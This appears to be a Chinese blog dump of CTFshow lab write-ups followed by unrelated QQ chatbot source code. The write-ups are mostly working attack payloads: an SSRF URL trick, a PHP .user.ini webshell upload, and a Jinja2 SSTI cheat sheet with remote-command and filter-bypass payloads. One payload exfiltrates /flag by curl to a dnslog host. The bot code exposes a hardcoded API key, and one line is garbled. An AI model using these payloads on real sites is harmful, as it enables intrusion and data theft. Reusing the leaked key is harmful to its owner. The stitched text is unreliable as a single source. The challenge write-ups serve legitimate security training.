其中hostname就是我们平常使用的网址,我们只需要让username位置为ctf.,让anchor位置为show即可

payload:
POST
url=http://ctf.@127.0.0.1/flag.php#show

359

随便输入个用户名密码尝试登录

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-01 01.12.20.png)

抓包发现returl参数可能存在SSRF注入点,使用Gopherus生成攻击payload

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-01 22.36.11.png)

写入之后访问即可

360

同上

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-01 22.44.48.png)

CTFshow记录

baby杯——baby_php

审计代码,明显是文件上传

class fileUtil{

    private $name;
    private $content;


    public function __construct($name,$content=''){
        $this->name = $name;
        $this->content = $content;
        ini_set('open_basedir', '/var/www/html');
    }

    public function file_upload(){
        if($this->waf($this->name) && $this->waf($this->content)){
            return file_put_contents($this->name, $this->content);
        }else{
            return 0;
        }
    }

    private function waf($input){
        return !preg_match('/php/i', $input);
    }

    public function file_download(){
        if(file_exists($this->name)){
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.$this->name.'"');
            header('Content-Transfer-Encoding: binary');
            echo file_get_contents($this->name);
        }else{
            return False;
        }
    }

    public function __destruct(){

    }

}

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='upload'){
    die('Permission denied');
}

switch ($action) {
    case 'upload':
        $name = $_POST['name'];
        $content = $_POST['content'];
        $ft = new fileUtil($name,$content);
        if($ft->file_upload()){
            echo $name.' upload success!';
        }
        break;
    case 'download':
        $name = $_POST['name'];
        $ft = new fileUtil($name,$content);
        if($ft->file_download()===False){
            echo $name.' download failed';
        }
        break;
    default:
        echo 'baby come on';
        break;
}

小知识:$_GET[‘a’]在没有被赋值时默认值时true,case的判定是弱相等

关键代码

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='upload'){//a只声明不赋值默认为true,强相等判定无法通过
    die('Permission denied');
}

switch ($action) {
    case 'upload'://true=="upload",判定结果为真,进入upload上传文件

查看响应头中间件为nginx,上传.user.ini文件来包含,一定要先上传1.txt文件,不然在auto_prepend_file参数生效并且找不到1.txt时整个环境就废了

payload:?a=
POST:
content=<?=`$_GET['kkk']`;?>&name=1.txt
POST:
content=auto_prepend_file="1.txt"&name=.user.ini

payload:?kkk=tac /flag_baby_here_you_are

CTFshowSSTI

SSTI

https://cn-sec.com/archives/1322842.html

Python中有用的魔术方法

__class__           查看对象所在的类
__mro__             查看继承关系和调用顺序,返回元组
__base__            返回基类
__bases__           返回基类元组
__subclasses__()    返回子类列表
__init__            调用初始化函数,可以用来跳到__globals__
__globals__         返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__        返回内建内建名称空间字典
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx())		都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app          应用上下文,一个全局变量
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

代码块

变量块 {{}}	用于将表达式打印到模板输出
注释块 {##}	注释
控制块	{%%}	可以声明变量,也可以执行语句
行声明	##		可以有和{%%}相同的效果

常用的过滤器

int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count

Flask的一些全局变量 && 关键字

{{config}}
{{requests}}
{{requests.environ}}
{{self}}
{{url_for}}
{{get_flashed_messages}}
{{url_for.__globals__["os"].system('calc')}}

常用payload

>>>''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
>>>''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
//想要获取命令执行结果可以在后面加上.read()
>>>''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
 
--------------------------------
 
>>>object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
>>>object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
>>>object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
>>>object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
>>>object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
 
--------------------------------
{{''.__class__.__mro__[-1].__subclasses__()[200]('calc') }}
其中的xxxx可以为任意字符
{{''.__class__.__mro__[-1].__subclasses__().xxxx.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()") }}
{{''.__class__.__mro__[-1].__subclasses__().xxxx.__init__.__globals__.__builtins__.exec("__import__('os').popen('calc').read()") }} #本地测试不知道为什么执行whoami只会返回None

拓展

16进制绕过

可使用16进制绕过关键字符

\x5f _

寻找可用类脚本

import json

a = """
"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k, v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k) + "--->" + v)

除了python之外的SSTI

361

无过滤,参数名为name,直接执行命令即可

payload:?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}

362

过滤了数字,使用全角数字代替正常数字

payload:?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}

363

过滤了单双引号,可通过request.args传入新参数解决,或者使用chr来绕过

//request.args
payload:?name={{config.__class__.__init__.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=tac /flag
//chr
payload:?name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(116)%2bchr(97)%2bchr(99)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

364

过滤了args,无法使用GET传参了,使用POST(方法被禁用了)或者cookie都可

//cookie
payload:?name={{config.__class__.__init__.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie: a=os;b=popen;c=tac /flag;
//chr
payload:?name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(116)%2bchr(97)%2bchr(99)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

365

过滤了中括号,换点

//cookie
payload:?name={{config.__class__.__init__.__globals__.os.popen(request.cookies.a).read()}}
Cookie: a=tac /flag

366

过滤了下划线,这里用attr方法:request|attr(request.cookies.a)等价于request[“a”]

payload:?name={{(config|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)).os.popen(request.cookies.d).read()}}
Cookie: a=__class__; b=__init__; c=__globals__; d=tac /flag;

他人WP

payload:?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /flag;

367

过滤了os,继续用attr

payload:?name={{(config|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)).get(request.cookies.e).popen(request.cookies.d).read()}}
Cookie: a=__class__; b=__init__; c=__globals__; d=tac /flag; e=os;

368

过滤了{undefined{undefined,使用命令方式print

payload:?name={% print((config|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)).get(request.cookies.e).popen(request.cookies.d).read()) %}
Cookie: a=__class__; b=__init__; c=__globals__; d=tac /flag; e=os;

369

过滤了request,没办法传递参量了,使用模版过滤器

payload:?name={% set po=dict(po=a,p=a)|join%}//构造pop,为下方提供_
{% set a=(()|select|string|list)|attr(po)(24)%}//构造出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}//构造出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}//构造出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}//构造出__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}//构造出__builtins__
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}//构造出builtins模块
{% set chr=x.chr%}//使用chr函数
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}//构造出字符串/flag
{%print(x.open(file).read())%}//读文件

370

过滤数字用全角,或者使用length,count构造数字

payload:?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

371

print回显被禁,dnslog外带

?name={%set po=(dict(po=a,p=a)|join)%}
{% set ershisi=(dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|length)%}
{% set xiahuaxian=(()|select|string|list)|attr(po)(ershisi)%}
{% set ur=((dict(ur=a,l=a)|join,xiahuaxian,dict(fo=a,r=a)|join)|join)%}
{% set glo=((xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join)%}
{% set ous=(dict(o=a,s=a)|join)%}
{% set ouuu=(ur|attr(glo)|attr(ous))%}
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(czducq=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}{%endif%}

372

count换成length

?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(czducq=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}{%endif%}

罗伯特

#bot.py
from unittest.mock import NonCallableMagicMock
from flask import Flask, request
import requests
import api
app = Flask(__name__)

'''监听端口,获取QQ信息'''
@app.route('/', methods=["POST"])
def post_data():
    '下面的request.get_json().get......是用来获取关键字的值用的,关键字参考上面代码段的数据格式'
    if request.get_json().get('message_type')=='private':
        uid = request.get_json().get('sender').get('user_id')
        message = request.get_json().get('raw_message')
        api.keywordForPerson(message,uid)
    if request.get_json().get('message_type')=='group':
        gid = request.get_json().get('group_id')
        uid = request.get_json().get('sender').get('user_id')
        message = request.get_json().get('raw_message')
        nick=request.get_json().get('sender').get('nickname')
        role=request.get_json().get('sender').get('role')
        api.keywordForGroup(message, gid, uid,nick,role)
    return 'OK'


if __name__ == '__main__':
    app.run(debug=True, host='127.0.0.1', port=5701)
#api.py
import person
import group
import requests
import re
import time
import json
import random



def help():
    return "天气:输入天气 地名,获取当地天气,默认为徐州天气\n双色球:输入双色球查看最新一期双色球开奖信息以及奖池累计金额\n扔瓶子:私聊罗伯特并发送以下内容:\n扔瓶子 发送者(可填匿名) 接受者(可填空) 内容\n来扔瓶子\n捞瓶子:发送捞瓶子来捞别人扔的瓶子\n帮助:输入/help,获取帮助"
def weather(message):
    try:
        city=message.split(' ')[1]
    except:
        city='徐州'
    try:
        ercode=requests.get(url='http://wthrcdn.etouch.cn/weather_mini?city='+city,timeout=1).text
    except:
        return "罗伯特被学校关起来了呜呜"
    if "invilad-citykey" in ercode:
        return "抱歉,您的输入有误,请检查后再试"
    weatherInfo=requests.get(url='http://wthrcdn.etouch.cn/weather_mini?city='+city).json()['data']['forecast'][0]
    ganmao=requests.get(url='http://wthrcdn.etouch.cn/weather_mini?city='+city).json()['data']['ganmao']
    fl=re.search(r"[0-9]+",weatherInfo['fengli']).group(0)
    hi=re.search(r"[0-9]+",weatherInfo['high']).group(0)
    lo=re.search(r"[0-9]+",weatherInfo['low']).group(0)
    weatherInfo=f"今日{city}天气{weatherInfo['type']},最高温度{hi}℃,最低温度{lo}℃,{weatherInfo['fengxiang']}{fl}级\n温馨提示,{ganmao}"
    return weatherInfo
def buquan(message,uid):
    #计算括号数量并自动补全
    def countBracket(message):
        countban=0
        for i in message:
            if i=='(':
                countban+=1
            if i==')':
                countban-=1
        countquan=0
        for i in message:
            if i=='(':
                countquan+=1
            if i==')':
                countquan-=1
        return {'ban':countban,'quan':countquan}
    #自动补全括号
    ban=countBracket(message)['ban']
    quan=countBracket(message)['quan']
    bu=""
    if not (ban or quan):
        return
    if ban>0:
        for i in range(ban):
            bu+=')'
    elif ban<0:
        for i in range(-ban):
            bu+='('
    if quan>0:
        for i in range(quan):
            bu+=')'
    elif quan<0:
        for i in range(-quan):
            bu+='('
    print(bu+f"[CQ:at,qq={uid}]帮你补括号")
    return bu+f"[CQ:at,qq={uid}]帮你补括号"
def theDoubleChromosphere(uid):
    tex=requests.get("http://www.cwl.gov.cn/fcpz/yxjs/ssq/").text
    #获取红球
    red=re.search(r"<div class=\"ssqRed-dom\">\[(.*?)\]</div>",tex).group(1)
    red=red.split(',')
    #获取蓝球
    blue=re.search(r"<div class=\"ssqBlue-dom\">\[(.*?)\]</div>",tex).group(1)
    blue=blue.split(',')
    #获取期号
    qh=re.search(r"<div class=\"ssqQh-dom\">(.*?)</div>",tex).group(1)
    #获取奖池
    pool=re.search(r"<div class=\"ssqPool-dom\">(.*?)</div>",tex).group(1)
    return f"第{qh}期开奖结果为:\n红球:{red}\n蓝球:{blue}\n奖池:{pool}\n[CQ:at,qq={uid}]害搁着等着干啥呢,赶紧买彩票去啊"
def sign(gid,uid,nick):
    today=time.strftime("%Y-%m-%d",time.localtime())
    groupUserInfo=group.readGroupUserInfo()
    try:
        thisGroupUserInfo=groupUserInfo[str(gid)]
    except:
        thisGroupUserInfo={}
        thisGroupUserInfo[str(uid)]={"nick": nick, "point": 0, "signTime": "", "ban": False}
    groupUserInfo[str(gid)]=thisGroupUserInfo
    try:
        thisUser=thisGroupUserInfo[str(uid)]
    except:
        thisUser={"nick": nick, "point": 0, "signTime": "", "ban": False}
        thisGroupUserInfo[str(uid)]=thisUser
    if thisUser['signTime']==today:
        return f"[CQ:at,qq={uid}]您今天已经签到过了,明天再来吧"
    else:
        thisUser['point']+=1
        thisUser['signTime']=today
        group.saveGroupUserInfo(groupUserInfo)
        return f"[CQ:at,qq={uid}]签到成功,您的积分为{thisUser['point']},明天再来吧"
def getQQ(message):
    try:
        qq=re.search(r"qq=(\d+)",message).group(1)
    except:
        qq=None
    return qq
def ban(gid,uid):
    groupUserInfo=group.readGroupUserInfo()
    thisGroupUserInfo=groupUserInfo[str(gid)]
    thisUser=thisGroupUserInfo[str(uid)]
    thisUser['ban']=True
    groupUserInfo[str(gid)]=thisGroupUserInfo
    group.saveGroupUserInfo(groupUserInfo)
    return f"好,我们不和[CQ:at,qq={uid}]玩"
def unban(gid,uid):
    groupUserInfo=group.readGroupUserInfo()
    thisGroupUserInfo=groupUserInfo[str(gid)]
    thisUser=thisGroupUserInfo[str(uid)]
    thisUser['ban']=False
    groupUserInfo[str(gid)]=thisGroupUserInfo
    group.saveGroupUserInfo(groupUserInfo)
    return f"好吧,我原谅你了[CQ:at,qq={uid}]"
def keywordForPerson(message, uid):
    if message[0:2]=='天气':
        person.sendMessage(weather(message),uid)
def isBan(gid,uid):
    groupUserInfo=group.readGroupUserInfo()
    thisGroupUserInfo=groupUserInfo[str(gid)]
    try:
        thisUser=thisGroupUserInfo[str(uid)]
        if thisUser['ban']:
            return True
        else:
            return False
    except:
        return False
def point(gid,uid):
    groupUserInfo=group.readGroupUserInfo()
    thisGroupUserInfo=groupUserInfo[str(gid)]
    try:
        thisUser=thisGroupUserInfo[str(uid)]
        return f"[CQ:at,qq={uid}]您的积分为{thisUser['point']}"
    except:
        return f"[CQ:at,qq={uid}]请先签到后重试"
def isAdmin(gid,uid):
    groupUserInfo=group.readGroupUserInfo()
    thisGroupUserInfo=groupUserInfo[str(gid)]
    try:
        thisUser=thisGroupUserInfo[str(uid)]
        if thisUser['admin']:
            return True
        else:
            return False
    except:
        return False
def giveAdmin(gid,uid):
    groupUserInfo=group.readGroupUserInfo()
    thisGroupUserInfo=groupUserInfo[str(gid)]
    try:
        thisUser=thisGroupUserInfo[str(uid)]
    except:
        thisUser={"nick": "nick", "point": 0, "signTime": "", "ban": False}
    thisUser['admin']=True
    thisGroupUserInfo[str(uid)]=thisUser
    groupUserInfo[str(gid)]=thisGroupUserInfo
    group.saveGroupUserInfo(groupUserInfo)
    return f"没问题,以后我就听你的啦[CQ:at,qq={uid}]"
def today(message):
    try:
        message=message.split(' ')
        message=message[1]
    except:
        message=None
        return f"请输入运势 星座来查询今日运势"
    if len(message)==2:
        message=message+"座"
    url="http://web.juhe.cn:8080/constellation/getAll"
    params={
        "key":"4a11bbcbf089edaf14c2d9bdb80c2ec4",
        "consName":message,
        "type":"today"
    }
    ys=requests.get(url=url,params=params).json()
    return f"{ys['name']}今日运势:\n综合指数:{ys['all']}%\n幸运色:{ys['color']}\n健康指数:{ys['health']}%\n爱情指数:{ys['love']}%\n财运指数:{ys['money']}%\n工作指数:{ys['work']}%\n幸运数字:{ys['number']}\n适配星座:{ys['QFriend']}\n总结:{ys['summary']}"
def minusPoint(gid,uid,point):
    groupUserInfo=group.readGroupUserInfo()
    thisGroupUserInfo=groupUserInfo[str(gid)]
    try:
        thisUser=thisGroupUserInfo[str(uid)]
    except:
        return f"[CQ:at,qq={uid}]请先签到后重试"
    if thisUser['point']-point < 0:
        return f"[CQ:at,qq={uid}]您的积分不足"
    thisUser['point']-=point
    thisGroupUserInfo[str(uid)]=thisUser
    groupUserInfo[str(gid)]=thisGroupUserInfo
    group.saveGroupUserInfo(groupUserInfo)
    return "OK"
def throwBottle(uid,message):
    try:
        me=message.split(" ",3)
        send=me[1]
        rec=me[2]
        con=me[3]
        with open('bottle.json','r') as f:
            bottle = json.load(f)
        nb={
            "QQ":str(uid),
            "send":send,
            "rec":rec,
            "con":con
        }
        bottle.append(nb)
        with open('bottle.json','w') as f:
            json.dump(bottle,f)
        return f"biu~~~瓶子被扔走啦,坐等被人打捞吧~~~"
    except:
        return "扔瓶子失败了,请检查内容格式是否为:\n扔瓶子 发送者(可填匿名) 接受者(可填空) 内容"
def getBottle(uid):
    with open('myBottles.json','r') as f:
        myBottles = json.load(f)      
    with open('bottle.json','r') as f:
        bottle = json.load(f)
    num=random.randint(0,len(bottle)-1)
    nb=bottle[num]
    bottle.remove(nb)
    try:
        myBottles[str(uid)].append(nb)
    except:
        myBottles[str(uid)]=[nb]
    with open('bottle.json','w') as f:
        json.dump(bottle,f)
    with open('myBottles.json','w') as f:
        json.dump(myBottles,f)
    return f"{nb['send']}扔给了{nb['rec']}一个瓶子,内容是:{nb['con']}"
def myBottles(uid):
    with open('myBottles.json','r') as f:
        myBottles = json.load(f)
    try:
        myBottles[str(uid)]
    except:
        return "您还没有瓶子呢,快去捞瓶子吧~~~"
    me=""
    for i in myBottles[str(uid)]:
        me+=f"{i['send']}扔给了{i['rec']}一个瓶子,内容是:{i['con']}\n"
    return f"[CQ:at,qq={uid}]您的瓶子有:\n{me}"
def cleanBottles(message,uid):
    num=message.split(" ")[1]
    with open('myBottles.json','r') as f:
        myBottles = json.load(f)
    try:
        myBottles[str(uid)]
    except:
        return f"[CQ:at,qq={uid}]您还没有瓶子呢,快去捞瓶子吧~~~"
    try:
        nb=myBottles[str(uid)].pop(int(num)-1)
        with open('myBottles.json','w') as f:
            json.dump(myBottles,f)
        return f"[CQ:at,qq={uid}]您摔碎了{nb['send']}扔给{nb['rec']}一个瓶子,内容是:{nb['con']}"
    except:
        return f"[CQ:at,qq={uid}]您还没有这个瓶子,快去捞一个吧"


def keywordForGroup(message, gid, uid,nick,role):
    if isBan(gid,uid) and not isAdmin(gid,uid):
        return
    if message[0:2]=='天气':
        group.sendMessage(weather(message),gid)
    elif message[0:2]=='运势':
        group.sendMessage(today(message),gid)
    elif message=="积分":
        group.sendMessage(point(gid,uid),gid)
    elif message[0:4]=="听他的话" and uid==405454586:
        group.sendMessage(giveAdmin(gid,getQQ(message)),gid)
    elif message[0:3]=='ban' and isAdmin(gid,uid):
        group.sendMessage(ban(gid,getQQ(message)),gid)
    elif message[0:5]=='unban' and isAdmin(gid,uid):
        group.sendMessage(unban(gid,getQQ(message)),gid)
    elif message=='/help':
        group.sendMessage(help(),gid)
    elif message[0:3]=='双色球':
        group.sendMessage(theDoubleChromosphere(uid),gid)
    elif message=="签到":
        group.sendMessage(sign(gid,uid,nick),gid)
    elif message=="捞瓶子":
        group.sendMessage(getBottle(uid),gid)
    elif message=="我的瓶子":
        group.sendMessage(myBottles(uid),gid)
    elif message[0:3]=="摔瓶子":
        group.sendMessage(cleanBottles(message,uid),gid)
    elif message=="无内鬼":
        group.sendMessage(f"[CQ:at,qq={uid}]穿件衣服吧你!你自己不恶sin吗?",gid)
    if re.search(r"[\(\)()]",message):
        group.sendMessage(buquan(message,uid),gid)
def keywordForPerson(message,uid):
    if message[0:3]=="扔瓶子":
        person.sendMessage(throwBottle(uid,message),uid)
#group.py
import json
import requests

#保存用户信息
def saveGroupUserInfo(userInfo):
    with open('userInfoOfGroup.json','w') as f:
        json.dump(userInfo,f)
#读取用户信息
def readGroupUserInfo():
    with open('userInfoOfGroup.json','r') as f:
        userInfo = json.load(f)
    return userInfo
#发送信息
def sendMessage(message,gid):
    url="http://127.0.0.1:5700/send_msg?group_id="+str(gid)+"&message="+message
    requests.get(url)